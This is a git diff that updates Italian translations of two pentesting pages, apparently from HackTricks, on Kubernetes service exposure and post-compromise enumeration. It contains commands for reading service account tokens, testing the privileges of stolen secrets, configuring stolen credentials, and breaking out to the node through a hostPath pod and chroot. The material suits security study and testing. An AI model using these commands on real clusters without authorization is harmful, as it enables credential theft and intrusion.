o `cassandra`. Si specificano questi servizi con il parametro `spec.externalName`. +[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) I Service di tipo ExternalName **mappano un Service a un DNS name**, non a un tipico selector come `my-service` o `cassandra`. Questi Services si specificano con il parametro `spec.externalName`. -Questa definizione di servizio, ad esempio, mappa il servizio `my-service` nel namespace `prod` a `my.database.example.com`: +Questa definizione di Service, per esempio, mappa il Service `my-service` nel namespace `prod` a `my.database.example.com`: ```yaml apiVersion: v1 kind: Service @@ -134,56 +136,95 @@ spec: type: ExternalName externalName: my.database.example.com ``` -Quando si cerca l'host `my-service.prod.svc.cluster.local`, il servizio DNS del cluster restituisce un record `CNAME` con il valore `my.database.example.com`. Accedere a `my-service` funziona allo stesso modo degli altri servizi, ma con la differenza cruciale che **la reindirizzazione avviene a livello DNS** piuttosto che tramite proxy o inoltro. +Quando si cerca l'host `my-service.prod.svc.cluster.local`, il DNS Service del cluster restituisce un record `CNAME` con il valore `my.database.example.com`. Accedere a `my-service` funziona allo stesso modo degli altri Services, ma con la differenza cruciale che **la redirection avviene a livello DNS** anziché tramite proxying o forwarding. Elenca tutti gli ExternalNames: ```bash kubectl get services --all-namespaces | grep ExternalName ``` +### EndpointSlices + +Gli EndpointSlices mostrano gli indirizzi e le porte backend concrete verso cui un Service instrada attualmente il traffico. Sono particolarmente utili quando un Service non ha selector, quando le label non spiegano il percorso del traffico, o quando solo alcuni backend sono ready. + +Elenca gli EndpointSlices associati ai Services: +```bash +kubectl get endpointslices --all-namespaces +kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml +kubectl get endpointslice -n -l kubernetes.io/service-name= \ +-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' +``` +Quando esamini l’esposizione, confronta il Service selector con il `targetRef` dell’EndpointSlice, gli indirizzi degli endpoint, le condizioni di readiness e le porte. Un Service senza selector può essere associato a EndpointSlices gestiti manualmente e instradare il traffico verso destinazioni non-Pod o inattese. + ### Ingress -A differenza di tutti gli esempi sopra, **Ingress NON è un tipo di servizio**. Invece, si trova **davanti a più servizi e funge da “router intelligente”** o punto di ingresso nel tuo cluster. +A differenza di tutti gli esempi precedenti, **Ingress NON è un tipo di service**. Invece, si colloca **davanti a più services e funge da “smart router”** o punto di ingresso nel tuo cluster. -Puoi fare molte cose diverse con un Ingress, e ci sono **molti tipi di controller Ingress che hanno capacità diverse**. +Puoi fare molte cose diverse con un Ingress, e ci sono **molti tipi di Ingress controllers che hanno capacità diverse**. -Il controller ingress predefinito di GKE avvierà un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) per te. Questo ti permetterà di fare sia il routing basato su percorso che su sottodominio ai servizi di backend. Ad esempio, puoi inviare tutto su foo.yourdomain.com al servizio foo, e tutto sotto il percorso yourdomain.com/bar/ al servizio bar. +L’Ingress controller predefinito di GKE avvierà per te un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Questo ti permetterà di fare sia routing basato sul path sia routing basato sul subdomain verso backend services. Per esempio, puoi inviare tutto ciò che arriva su foo.yourdomain.com al service foo, e tutto ciò che si trova sotto il path yourdomain.com/bar/ al service bar. Il YAML per un oggetto Ingress su GKE con un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) potrebbe apparire così: ```yaml -apiVersion: extensions/v1beta1 +apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: my-ingress spec: -backend: -serviceName: other -servicePort: 8080 +defaultBackend: +service: +name: other +port: +number: 8080 rules: - host: foo.mydomain.com http: paths: -- backend: -serviceName: foo -servicePort: 8080 +- path: / +pathType: Prefix +backend: +service: +name: foo +port: +number: 8080 - host: mydomain.com http: paths: -- path: /bar/* +- path: /bar +pathType: Prefix backend: -serviceName: bar -servicePort: 8080 +service: +name: bar +port: +number: 8080 ``` -Elenca tutti gli ingressi: +Elenca tutti gli ingress: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -Sebbene in questo caso sia meglio ottenere le informazioni di ciascuno uno per uno per leggerle meglio: +Anche se in questo caso è meglio ottenere le informazioni di ciascuno una alla volta per leggerle meglio: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` -### Riferimenti +### Gateway API + +Gateway API è la nuova Kubernetes API per esporre i Services. Separa gli oggetti Gateway, di proprietà dell'infrastruttura, dagli oggetti Route, di proprietà dell'applicazione, come HTTPRoute. Questo è utile per la delega, ma significa anche che l'esposizione può essere distribuita tra namespace diversi. + +Elenca gli oggetti di esposizione Gateway API: +```bash +kubectl get gatewayclasses +kubectl get gateways --all-namespaces +kubectl get httproutes --all-namespaces +kubectl get gateway -n -o yaml +kubectl get httproute -n -o yaml +``` +Controlla i listener del Gateway, i namespace consentiti per le route, i `parentRefs` della Route, gli hostname, i filter, i backend references e le condizioni di status, come ad esempio se la route è stata accepted. Una Route accepted da un shared Gateway può esporre un backend anche quando non esiste alcun oggetto Ingress legacy. + +### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) +- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) +- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 82cb81aba..ff1ea5d06 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,24 +4,24 @@ ## Kubernetes Tokens -Se hai compromesso l'accesso a una macchina, l'utente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova solitamente in un file indicato dalla **variabile d'ambiente `KUBECONFIG`** o **all'interno di `~/.kube`**. +Se hai compromesso l'accesso a una macchina, l'utente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova di solito in un file indicato dalla **env var `KUBECONFIG`** o **dentro `~/.kube`**. -In questa cartella potresti trovare file di configurazione con **token e configurazioni per connettersi al server API**. In questa cartella puoi anche trovare una cartella di cache con informazioni precedentemente recuperate. +In questa cartella potresti trovare file di configurazione con **tokens e configurazioni per connettersi all'API server**. In questa cartella puoi anche trovare una cache folder con informazioni recuperate in precedenza. -Se hai compromesso un pod all'interno di un ambiente kubernetes, ci sono altri luoghi dove puoi trovare token e informazioni sull'attuale ambiente K8: +Se hai compromesso un pod dentro un ambiente kubernetes, ci sono altri posti dove puoi trovare token e informazioni sul K8 env attuale: ### Service Account Tokens -Prima di continuare, se non sai cosa sia un servizio in Kubernetes, ti consiglio di **seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.** +Prima di continuare, se non sai cos'è un service in Kubernetes ti suggerirei di **seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.** -Preso dalla [documentazione](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) di Kubernetes: +Tratto dalla [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) di Kubernetes: -_“Quando crei un pod, se non specifichi un service account, viene automaticamente assegnato il_ service account _predefinito nello stesso namespace.”_ +_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ -**ServiceAccount** è un oggetto gestito da Kubernetes e utilizzato per fornire un'identità per i processi che vengono eseguiti in un pod.\ -Ogni service account ha un segreto ad esso correlato e questo segreto contiene un bearer token. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le affermazioni tra due parti. +**ServiceAccount** è un oggetto gestito da Kubernetes e usato per fornire un'identità ai processi che girano in un pod.\ +Ogni service account ha un secret associato e questo secret contiene un bearer token. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le claims tra due parti. -Di solito **uno** delle directory: +Di solito **una** delle directory: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` @@ -29,13 +29,13 @@ Di solito **uno** delle directory: contiene i file: -- **ca.crt**: È il certificato ca per controllare le comunicazioni di kubernetes -- **namespace**: Indica l'attuale namespace -- **token**: Contiene il **token di servizio** dell'attuale pod. +- **ca.crt**: È il certificato ca per verificare le comunicazioni kubernetes +- **namespace**: Indica il namespace corrente +- **token**: Contiene il **service token** del pod corrente. -Ora che hai il token, puoi trovare il server API all'interno della variabile d'ambiente **`KUBECONFIG`**. Per ulteriori informazioni esegui `(env | set) | grep -i "kuber|kube`**`"`** +Ora che hai il token, puoi trovare l'API server dentro la variabile d'ambiente **`KUBECONFIG`**. Per maggiori informazioni esegui `(env | set) | grep -i "kuber|kube`**`"`** -Il token del service account è firmato dalla chiave presente nel file **sa.key** e convalidato da **sa.pub**. +Il service account token viene firmato dalla chiave presente nel file **sa.key** e validato da **sa.pub**. Posizione predefinita su **Kubernetes**: @@ -47,43 +47,43 @@ Posizione predefinita su **Minikube**: ### Hot Pods -_**Hot pods sono**_ pods che contengono un token di service account privilegiato. Un token di service account privilegiato è un token che ha il permesso di eseguire compiti privilegiati come elencare segreti, creare pod, ecc. +_**Hot pods are**_ pod che contengono un privileged service account token. Un privileged service account token è un token che ha il permesso di eseguire task privilegiati come elencare secrets, creare pod, ecc. ## RBAC -Se non sai cosa sia **RBAC**, **leggi questa sezione**. +Se non sai cos'è **RBAC**, **leggi questa sezione**. ## GUI Applications -- **k9s**: Un'interfaccia grafica che enumera un cluster kubernetes dal terminale. Controlla i comandi in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Scrivi `:namespace` e seleziona tutto per poi cercare risorse in tutti i namespace. -- **k8slens**: Offre alcuni giorni di prova gratuita: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: Una GUI che enumera un kubernetes cluster dal terminale. Controlla i comandi in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Scrivi `:namespace` e seleziona all per poi cercare risorse in tutti i namespace. +- **k8slens**: Offre alcuni giorni di free trial: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet -Per enumerare un ambiente K8s hai bisogno di un paio di queste: +Per enumerare un ambiente K8s hai bisogno di un paio di cose: -- Un **token di autenticazione valido**. Nella sezione precedente abbiamo visto dove cercare un token utente e un token di service account. -- L'**indirizzo (**_**https://host:port**_**) dell'API di Kubernetes**. Questo può essere solitamente trovato nelle variabili d'ambiente e/o nel file di configurazione kube. -- **Opzionale**: Il **ca.crt per verificare il server API**. Questo può essere trovato negli stessi luoghi in cui può essere trovato il token. Questo è utile per verificare il certificato del server API, ma utilizzando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` non avrai bisogno di questo. +- Un **valid authentication token**. Nella sezione precedente abbiamo visto dove cercare un user token e un service account token. +- L'**address (**_**https://host:port**_**) dell'API di Kubernetes**. Di solito si trova nelle variabili d'ambiente e/o nel file kube config. +- **Optional**: Il **ca.crt per verificare l'API server**. Si può trovare negli stessi posti in cui si trova il token. Questo è utile per verificare il certificato dell'API server, ma usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` non ne avrai bisogno. -Con questi dettagli puoi **enumerare kubernetes**. Se l'**API** per qualche motivo è **accessibile** attraverso l'**Internet**, puoi semplicemente scaricare quelle informazioni e enumerare la piattaforma dal tuo host. +Con quei dettagli puoi **enumerate kubernetes**. Se l'**API** per qualche motivo è **accessible** attraverso **Internet**, puoi semplicemente scaricare quelle informazioni ed enumerare la piattaforma dal tuo host. -Tuttavia, di solito il **server API è all'interno di una rete interna**, quindi dovrai **creare un tunnel** attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi **caricare il** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binario, o usare **`curl/wget/anything`** per eseguire richieste HTTP raw al server API. +Tuttavia, di solito l'**API server è dentro una rete interna**, quindi dovrai **creare un tunnel** attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi **caricare il binario** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux), o usare **`curl/wget/anything`** per eseguire raw HTTP requests all'API server. ### Differences between `list` and `get` verbs -Con i permessi **`get`** puoi accedere alle informazioni di asset specifici (_`describe` option in `kubectl`_) API: +Con i permessi **`get`** puoi accedere alle informazioni di specifici asset (_opzione `describe` in `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Se hai il permesso **`list`**, ti è consentito eseguire richieste API per elencare un tipo di risorsa (_opzione `get` in `kubectl`_): +Se hai il permesso **`list`**, puoi eseguire richieste API per elencare un tipo di asset (_opzione `get` in `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -Se hai il permesso **`watch`**, ti è consentito eseguire richieste API per monitorare le risorse: +Se hai il permesso **`watch`**, puoi eseguire richieste API per monitorare gli asset: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -Aprono una connessione streaming che ti restituisce il manifesto completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo). +Aprono una connessione in streaming che ti restituisce il manifest completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo). > [!CAUTION] -> I seguenti comandi `kubectl` indicano solo come elencare gli oggetti. Se desideri accedere ai dati, devi usare `describe` invece di `get` +> I seguenti comandi `kubectl` indicano solo come elencare gli oggetti. Se vuoi accedere ai dati devi usare `describe` invece di `get` -### Utilizzando curl +### Usando curl -Dall'interno di un pod puoi usare diverse variabili d'ambiente: +Dall'interno di un pod puoi usare diverse variabili env: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount @@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Per impostazione predefinita, il pod può **accedere** al **kube-api server** nel nome di dominio **`kubernetes.default.svc`** e puoi vedere la rete kube in **`/etc/resolv.config`** poiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" dello stesso intervallo è l'endpoint kube-api). +> Di default il pod può **accedere** al **kube-api server** nel nome di dominio **`kubernetes.default.svc`** e puoi vedere la rete kube in **`/etc/resolv.config`** poiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" dello stesso range è l'endpoint kube-api). -### Utilizzando kubectl +### Usando kubectl -Avendo il token e l'indirizzo del server API, puoi utilizzare kubectl o curl per accedervi come indicato qui: +Avendo il token e l'indirizzo dell'API server puoi usare kubectl o curl per accedervi come indicato qui: -Per impostazione predefinita, l'APISERVER comunica con lo schema `https://` +Di default, l'APISERVER comunica con lo schema `https://` ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> se non c'è `https://` nell'url, potresti ricevere un errore come Bad Request. +> se non c'è `https://` nell'url, potresti ottenere un errore come Bad Request. -Puoi trovare un [**foglio di riferimento ufficiale di kubectl qui**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso. +Puoi trovare un [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso. -Per trovare la richiesta HTTP che `kubectl` invia, puoi usare il parametro `-v=8` +Per trovare la richiesta HTTP che `kubectl` invia puoi usare il parametro `-v=8` #### MitM kubectl - Proxyfying kubectl ```bash @@ -134,7 +134,7 @@ export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` -### Configurazione Corrente +### Configurazione attuale {{#tabs }} {{#tab name="Kubectl" }} @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -Se sei riuscito a rubare le credenziali di alcuni utenti, puoi **configurarle localmente** utilizzando qualcosa come: +Se sei riuscito a rubare le credenziali di alcuni utenti, puoi **configurarle localmente** usando qualcosa come: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` -### Ottieni Risorse Supportate +### Ottenere le Risorse Supportate -Con queste informazioni saprai tutti i servizi che puoi elencare +Con queste info saprai tutti i servizi che puoi elencare {{#tabs }} {{#tab name="kubectl" }} @@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### Ottieni Privilegi Correnti +### Metadata degli oggetti da controllare + +Quando puoi leggere un oggetto, esporta il YAML o JSON completo invece di affidarti solo all’output della tabella o a `describe`. Il contesto di sicurezza più utile spesso si trova nei campi generici dell’oggetto che esistono in molti tipi di risorse: +```bash +kubectl get pod -n -o yaml +kubectl get deploy -n -o json | jq '.metadata, .spec, .status' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' +``` +- `metadata.uid`, `name`, `namespace`, `apiVersion` e `kind` identificano l’oggetto esatto ed evitano confusione tra oggetti con lo stesso nome in namespace o API groups diversi. +- `metadata.labels` e selectors collegano Services, Deployments, ReplicaSets, Pods, NetworkPolicies e automazione. Seguire i selectors è spesso il modo più rapido per identificare i real backend pods di un Service. +- `metadata.annotations` può leak contesto operativo come comportamento ingress, impostazioni cloud load balancer, metadati GitOps o Helm, eccezioni di policy e configurazione service mesh. Non dovrebbero contenere secrets, ma nei cluster reali spesso espongono indizi utili. +- `metadata.ownerReferences` mostra la catena di controllo. Se un Pod è posseduto da un ReplicaSet posseduto da un Deployment, modificare o eliminare solo il Pod di solito non risolve la causa. +- `metadata.finalizers` e `metadata.deletionTimestamp` spiegano risorse bloccate in eliminazione e possono rivelare cleanup controllers o trucchi di persistence/disruption. +- `status`, Events e conditions possono rivelare posizionamento dei node, pod IPs, image IDs, messaggi di errore, problemi di scheduling, admission denials e avanzamento del controller. Sono indizi utili, ma gli audit logs sono comunque necessari per provare chi ha eseguito un’azione. + +### Get Current Privileges {{#tabs }} {{#tab name="kubectl" }} @@ -197,7 +212,7 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -Un altro modo per controllare i tuoi privilegi è utilizzare lo strumento: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +Un altro modo per verificare i tuoi privilegi è usare lo strumento: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* Puoi saperne di più su **Kubernetes RBAC** in: @@ -205,7 +220,7 @@ Puoi saperne di più su **Kubernetes RBAC** in: kubernetes-role-based-access-control-rbac.md {{#endref}} -**Una volta che sai quali privilegi** hai, controlla la seguente pagina per capire **se puoi abusarne** per escalare i privilegi: +**Una volta che sai quali privilegi** hai, controlla la seguente pagina per capire **se puoi abusarne** per elevare i privilegi: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -229,9 +244,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu {{#endtab }} {{#endtabs }} -### Ottieni i namespace +### Ottenere i namespaces -Kubernetes supporta **più cluster virtuali** supportati dallo stesso cluster fisico. Questi cluster virtuali sono chiamati **namespace**. +Kubernetes supporta **multiple virtual clusters** supportati dallo stesso physical cluster. Questi virtual clusters sono chiamati **namespaces**. {{#tabs }} {{#tab name="kubectl" }} @@ -247,7 +262,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/ {{#endtab }} {{#endtabs }} -### Ottieni segreti +### Ottenere secrets {{#tabs }} {{#tab name="kubectl" }} @@ -266,13 +281,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -Se puoi leggere i segreti, puoi usare le seguenti righe per ottenere i privilegi relativi a ciascun token: +Se puoi leggere secrets, puoi usare le seguenti linee per ottenere i privilegi associati a ogni token: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` -### Ottieni gli Account di Servizio +### Ottieni Service Accounts -Come discusso all'inizio di questa pagina **quando un pod viene eseguito, di solito viene assegnato un account di servizio**. Pertanto, elencare gli account di servizio, le loro autorizzazioni e dove vengono eseguiti può consentire a un utente di elevare i privilegi. +Come discusso all'inizio di questa pagina **quando un pod viene eseguito, di solito gli viene assegnato un service account**. Pertanto, elencare i service accounts, i loro permessi e dove sono in esecuzione può permettere a un utente di escalare i privilegi. {{#tabs }} {{#tab name="kubectl" }} @@ -288,9 +303,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {{#endtab }} {{#endtabs }} -### Ottieni i Deployments +### Ottieni Deployments -I deployments specificano i **componenti** che devono essere **eseguiti**. +I Deployments specificano lo stato desiderato per i workload di applicazioni stateless. Creano ReplicaSets, e quei ReplicaSets creano Pods. {{#tabs }} {{#tab name="kubectl" }} @@ -302,14 +317,33 @@ k get deployments -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces//deployments/ +kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ ``` {{#endtab }} {{#endtabs }} -### Ottieni Pods +### Ottenere i StatefulSets -I Pods sono i **contenitori** effettivi che verranno **eseguiti**. +StatefulSets gestiscono i Pods che necessitano di nomi stabili, comportamento di rollout ordinato e spesso volumi persistenti per replica. + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get statefulsets +k get statefulsets -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ +``` +{{#endtab }} +{{#endtabs }} + +### Ottenere Pods + +I Pods sono i veri **containers** che **verranno eseguiti**. {{#tabs }} {{#tab name="kubectl" }} @@ -326,9 +360,9 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ {{#endtab }} {{#endtabs }} -### Ottieni Servizi +### Ottenere i Services -I **servizi** di Kubernetes vengono utilizzati per **esporre un servizio su una porta e un IP specifici** (che agiranno come bilanciatore di carico per i pod che offrono effettivamente il servizio). È interessante sapere dove puoi trovare altri servizi da provare ad attaccare. +I **services** di Kubernetes sono usati per **esporre un service in una porta e IP specifici** (che agiranno come load balancer per i pods che stanno effettivamente offrendo il service). È interessante saperlo per capire dove puoi trovare altri services da provare ad attaccare. {{#tabs }} {{#tab name="kubectl" }} @@ -340,14 +374,14 @@ k get services -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces/default/services/ +kurl -v https://$APISERVER/api/v1/namespaces//services/ ``` {{#endtab }} {{#endtabs }} -### Ottieni nodi +### Ottieni nodes -Ottieni tutti i **nodi configurati all'interno del cluster**. +Ottieni tutti i **nodes configurati all'interno del cluster**. {{#tabs }} {{#tab name="kubectl" }} @@ -363,9 +397,9 @@ kurl -v https://$APISERVER/api/v1/nodes/ {{#endtab }} {{#endtabs }} -### Ottieni DaemonSets +### Ottenere i DaemonSets -**DaeamonSets** consente di garantire che un **pod specifico sia in esecuzione in tutti i nodi** del cluster (o in quelli selezionati). Se elimini il DaemonSet, i pod gestiti da esso verranno rimossi. +I **DaemonSets** assicurano che un **specifico Pod sia in esecuzione su tutti i nodi selezionati** del cluster. Se elimini il DaemonSet, anche i Pod gestiti da esso verranno rimossi. {{#tabs }} {{#tab name="kubectl" }} @@ -376,32 +410,52 @@ k get daemonsets {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets +kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ``` {{#endtab }} {{#endtabs }} -### Ottieni cronjob +### Ottieni Jobs -I cron job consentono di pianificare, utilizzando una sintassi simile a crontab, il lancio di un pod che eseguirà alcune azioni. +I Jobs creano Pods che vengono eseguiti fino al completamento. Sono comunemente usati per migrazioni, backup, lavoro batch e attività amministrative una tantum. {{#tabs }} {{#tab name="kubectl" }} ```bash -k get cronjobs +k get jobs +k get jobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs +kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ``` {{#endtab }} {{#endtabs }} -### Ottieni configMap +### Ottenere i CronJob -configMap contiene sempre molte informazioni e file di configurazione che forniscono alle app che girano in kubernetes. Di solito puoi trovare molte password, segreti, token utilizzati per connettersi e convalidare altri servizi interni/esterni. +I CronJob usano una pianificazione simile a quella di crontab per creare Job che avviano Pod per l'esecuzione di attività. + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get cronjobs +k get cronjobs -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs +``` +{{#endtab }} +{{#endtabs }} + +### Ottenere configMap + +configMap contiene sempre molte informazioni e file di configurazione forniti alle app in esecuzione in kubernetes. Di solito puoi trovare molte password, secret, token che vengono usati per connettersi e autenticarsi verso altri servizi interni/esterni. {{#tabs }} {{#tab name="kubectl" }} @@ -417,10 +471,10 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### Ottieni le Politiche di Rete / Politiche di Rete Cilium +### Ottieni Network Policies / Cilium Network Policies {{#tabs }} -{{#tab name="Primo Tab" }} +{{#tab name="First Tab" }} ```bash k get networkpolicies k get CiliumNetworkPolicies @@ -429,7 +483,7 @@ k get CiliumClusterwideNetworkPolicies {{#endtab }} {{#endtabs }} -### Ottieni Tutto / Tutti +### Ottieni tutto / Tutti {{#tabs }} {{#tab name="kubectl" }} @@ -449,7 +503,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **Ottieni i consumi dei Pods** +### **Ottenere i consumi dei Pod** {{#tabs }} {{#tab name="kubectl" }} @@ -461,19 +515,19 @@ k top pod --all-namespaces ## Interagire con il cluster senza usare kubectl -Visto che il piano di controllo di Kubernetes espone un'API REST-ful, puoi creare manualmente richieste HTTP e inviarle con altri strumenti, come **curl** o **wget**. +Dato che il control plane di Kubernetes espone una REST-ful API, puoi costruire manualmente richieste HTTP e inviarle con altri strumenti, come **curl** o **wget**. ### Uscire dal pod -Se sei in grado di creare nuovi pod, potresti essere in grado di uscire da essi verso il nodo. Per farlo, devi creare un nuovo pod utilizzando un file yaml, passare al pod creato e poi chroot nel sistema del nodo. Puoi usare pod già esistenti come riferimento per il file yaml poiché mostrano immagini e percorsi esistenti. +Se sei in grado di creare nuovi pod potresti essere in grado di uscirne verso il node. Per farlo devi creare un nuovo pod usando un file yaml, passare al pod creato e poi fare chroot nel sistema del node. Puoi usare pod già esistenti come riferimento per il file yaml, dato che mostrano le immagini e i path esistenti. ```bash kubectl get pod [-n ] -o yaml ``` -> se hai bisogno di creare un pod su un nodo specifico, puoi usare il seguente comando per ottenere le etichette sul nodo +> se hai bisogno di creare un pod su un nodo specifico, puoi usare il seguente comando per ottenere le label del nodo > > `k get nodes --show-labels` > -> Comunemente, kubernetes.io/hostname e node-role.kubernetes.io/master sono tutte buone etichette per la selezione. +> Di solito, kubernetes.io/hostname e node-role.kubernetes.io/master sono entrambe buone label da selezionare. Poi crei il tuo file attack.yaml ```yaml @@ -505,7 +559,9 @@ restartPolicy: Never # or using # node-role.kubernetes.io/master: "" ``` -Dopo aver creato il pod +[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) + +Dopo di ciò crei il pod ```bash kubectl apply -f attacker.yaml [-n ] ``` @@ -513,13 +569,13 @@ Ora puoi passare al pod creato come segue ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -E infine esegui il chroot nel sistema del nodo. +E infine fai chroot nel sistema del nodo ```bash chroot /root /bin/bash ``` Informazioni ottenute da: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) -### Creazione di un 